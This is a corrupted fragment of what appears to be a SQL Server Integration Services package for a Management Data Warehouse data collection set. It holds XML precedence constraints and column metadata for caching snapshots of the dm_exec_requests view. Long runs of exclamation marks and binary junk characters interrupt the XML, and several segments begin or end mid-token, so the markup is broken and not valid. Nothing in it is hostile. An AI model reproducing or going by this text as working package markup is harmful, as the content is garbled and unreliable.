SQLTask:ParameterSize="-1"/></SQLTask:SqlTaskData></DTS:ObjectData></DTS:Executable></DTS:Executables><DTS:PrecedenceConstraints><DTS:PrecedenceConstraint DTS:refId="Package.PrecedenceConstraints[Constraint 2]" DTS:CreationName="" DTS:DTSID="{3E8C2FDE-1E6D-4C61-A58B-D114921193FC}" DTS:From="Package\SQL - Register collection set to MDW" DTS:LogicalAnd="True" DTS:ObjectName="Constraint 2" DTS:To="Package\SQL - Create snapshot ID in MDW" DTS:Value="2"/><DTS:PrecedenceConstraint DTS:refId="Package.PrecedenceConstraints[Constraint 3]" DTS:CreationName="" DTS:DTSID="{E0BDAD4D-63EC-4C7B-B392-48D799204549}" DTS:From="Package\Sequence Container" DTS:LogicalAnd="True" DTS:ObjectName="Constraint 3" DTS:To="Package\CWM - Delete Old Cache Files"/><DTS:PrecedenceConstraint DTS:refId="Package.PrecedenceConstraints[Constraint 4]" DTS:CreationName="" DTS:DTSID="{5B5E777C-2E3A-453F-91F2-6E28C7BC6B13}" DTS:From="Package\SQL - Create snapshot ID in MDW" DTS:LogicalAnd="True" DTS:ObjectName="Constraint 4" DTS:To="Package\FEF - For Each Collected Cache File Remaining, Try to Upload"/><DTS:PrecedenceConstraint DTS:refId="Package.PrecedenceConstraints[Constraint 5]" DTS:CreationName="" DTS:DTSID="{766AFD21-4197-496F-90A8-2C9B25E85D3C}" DTS:From="Package\CWM - Delete Old Cache Files" DTS:LogicalAnd="True" DTS:ObjectName="Constraint 5" DTS:To="Package\FEF - For Each Collected Cache File Remaining, Try to Upload"/></DTS:PrecedenceConstraints><DTS:PackageVariables/></DTS:Executable>	!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`b!8(ZH.h(>)8^*}+,p-.@/0:1xY2x3H45678P59T: t;<=X>?(@0AOB`oCȎD0EFGhH+I8KJjKLpMN@O"'#xF$e%H&Z'	!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`"8"LHvollect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Output].Columns[pending_io_count]"/><inputColumn refId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\RFD - Write data to a cache.Inputs[Raw File Destination Input].Columns[command]" cachedDataType="wstr" cachedLength="32" cachedName="command" externalMetadataColumnId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\RFD - Write data to a cache.Inputs[Raw File Destination Input].ExternalColumns[command]" lineageId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Output].Columns[command]"/></inputColumns><externalMetadataColumns isUsed="True"><externalMetadataColumn refId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\RFD - Write data to a cache.Inputs[Raw File Destination Input].ExternalColumns[statement_start_offset]" dataType="i4" name="statement_start_offset"/><externalMetadataColumn refId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\RFD - Write data to a cache.Inputs[Raw File Destination Input].ExternalColumns[statement_end_offset]" dataType="i4" name="statement_end_offset"/><externalMetadataColumn refId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\RFD - Write data to a cache.Inputs[Raw File Destination Input].ExternalColumns[collection_time]" dataType="dbTimeStamp" name="collection_time"/><externalMetadataColumn refId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\RFD - Write data to a cache.Inputs[Raw File Destination Input].ExternalColumns[sql_handle]" dataType="bytes" length="64" name="sql_handle"/><externalMetadataColumn refId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\RFD - Write data to a cache.Inputs[Raw File Destination Input].ExternalColumns[plan_handle]" dataType="bytes" length="64" name="plan_handle"/><externalMetadataColumn refId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\RFD - Write data to a cache.Inputs[Raw File Destination Input].ExternalColumns[row_id]" dataType="i4" name="row_id"/><externalMetadataColumn refId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\RFD - Write data to a cache.Inputs[Raw File Destination Input].ExternalColumns[session_id]" dataType="i2" name="session_id"/><externalMetadataColumn refId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\RFD - Write data to a cache.Inputs[Raw File Destination Input].ExternalColumns[request_id]" dataType="i4" name="request_id"/><externalMetadataColumn refId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\RFD - Write data to a cache.Inputs[Raw File Destination Input].ExternalColumns[exec_context_id]" dataType="i4" name="exec_context_id"/><externalMetadataColumn refId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\RFD - Write data to a cache.Inputs[Raw File Destination Input].ExternalColumns[blocking_session_id]" dataType="i2" name="blocking_session_id"/><externalMetadataColumn refId="Package\LOOP - Query the query statitics DMV at collection frequency	!!!!!!!!!!!!!!!!!!!!!!!!`#8Hv\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\RFD - Write data to a cache.Inputs[Raw File Destination Input].ExternalColumns[is_blocking]" dataType="bool" name="is_blocking"/><externalMetadataColumn refId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\RFD - Write data to a cache.Inputs[Raw File Destination Input].ExternalColumns[blocking_exec_context_id]" dataType="i4" name="blocking_exec_context_id"/><externalMetadataColumn refId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\RFD - Write data to a cache.Inputs[Raw File Destination Input].ExternalColumns[scheduler_id]" dataType="i4" name="scheduler_id"/><externalMetadataColumn refId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\RFD - Write data to a cache.Inputs[Raw File Destination Input].ExternalColumns[database_name]" dataType="wstr" length="128" name="database_name"/><externalMetadataColumn refId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\RFD - Write data to a cache.Inputs[Raw File Destination Input].ExternalColumns[user_id]" dataType="i4" name="user_id"/><externalMetadataColumn refId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\RFD - Write data to a cache.Inputs[Raw File Destination Input].ExternalColumns[task_state]" dataType="wstr" length="10" name="task_state"/><externalMetadataColumn refId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\RFD - Write data to a cache.Inputs[Raw File Destination Input].ExternalColumns[request_status]" dataType="wstr" length="15" name="request_status"/><externalMetadataColumn refId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\RFD - Write data to a cache.Inputs[Raw File Destination Input].ExternalColumns[session_status]" dataType="wstr" length="15" name="session_status"/><externalMetadataColumn refId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\RFD - Write data to a cache.Inputs[Raw File Destination Input].ExternalColumns[executing_managed_code]" dataType="bool" name="executing_managed_code"/><externalMetadataColumn refId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\RFD - Write data to a cache.Inputs[Raw File Destination Input].ExternalColumns[login_time]" dataType="dbTimeStamp" name="login_time"/><externalMetadataColumn refId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\RFD - Write data to a cache.Inputs[Raw File Destination Input].ExternalColumns[is_user_process]" dataType="bool" name="is_user_process"/><externalMetadataColumn refId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\RFD - Write data to a cache.Inputs[Raw File Destination Input].ExternalColumns[host_name]" dataType="wstr" length="20" name="host_name"/><externalMetadataColumn refId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\RFD - Write data to a cache.Inputs[Raw File Destination Input].ExternalColumns[program_name]" dataType="wstr" length="50" name="program_name"/><externalMetadataColumn refId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\RFD - Write data to a cache.Inputs[Raw F	!!!!!!!!!!!!!!!!!!!!!!!!`$8%BHvile Destination Input].ExternalColumns[login_name]" dataType="wstr" length="30" name="login_name"/><externalMetadataColumn refId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\RFD - Write data to a cache.Inputs[Raw File Destination Input].ExternalColumns[wait_type]" dataType="wstr" length="45" name="wait_type"/><externalMetadataColumn refId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\RFD - Write data to a cache.Inputs[Raw File Destination Input].ExternalColumns[last_wait_type]" dataType="wstr" length="45" name="last_wait_type"/><externalMetadataColumn refId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\RFD - Write data to a cache.Inputs[Raw File Destination Input].ExternalColumns[wait_duration_ms]" dataType="i8" name="wait_duration_ms"/><externalMetadataColumn refId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\RFD - Write data to a cache.Inputs[Raw File Destination Input].ExternalColumns[wait_resource]" dataType="wstr" length="50" name="wait_resource"/><externalMetadataColumn refId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\RFD - Write data to a cache.Inputs[Raw File Destination Input].ExternalColumns[resource_description]" dataType="wstr" length="140" name="resource_description"/><externalMetadataColumn refId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\RFD - Write data to a cache.Inputs[Raw File Destination Input].ExternalColumns[transaction_id]" dataType="i8" 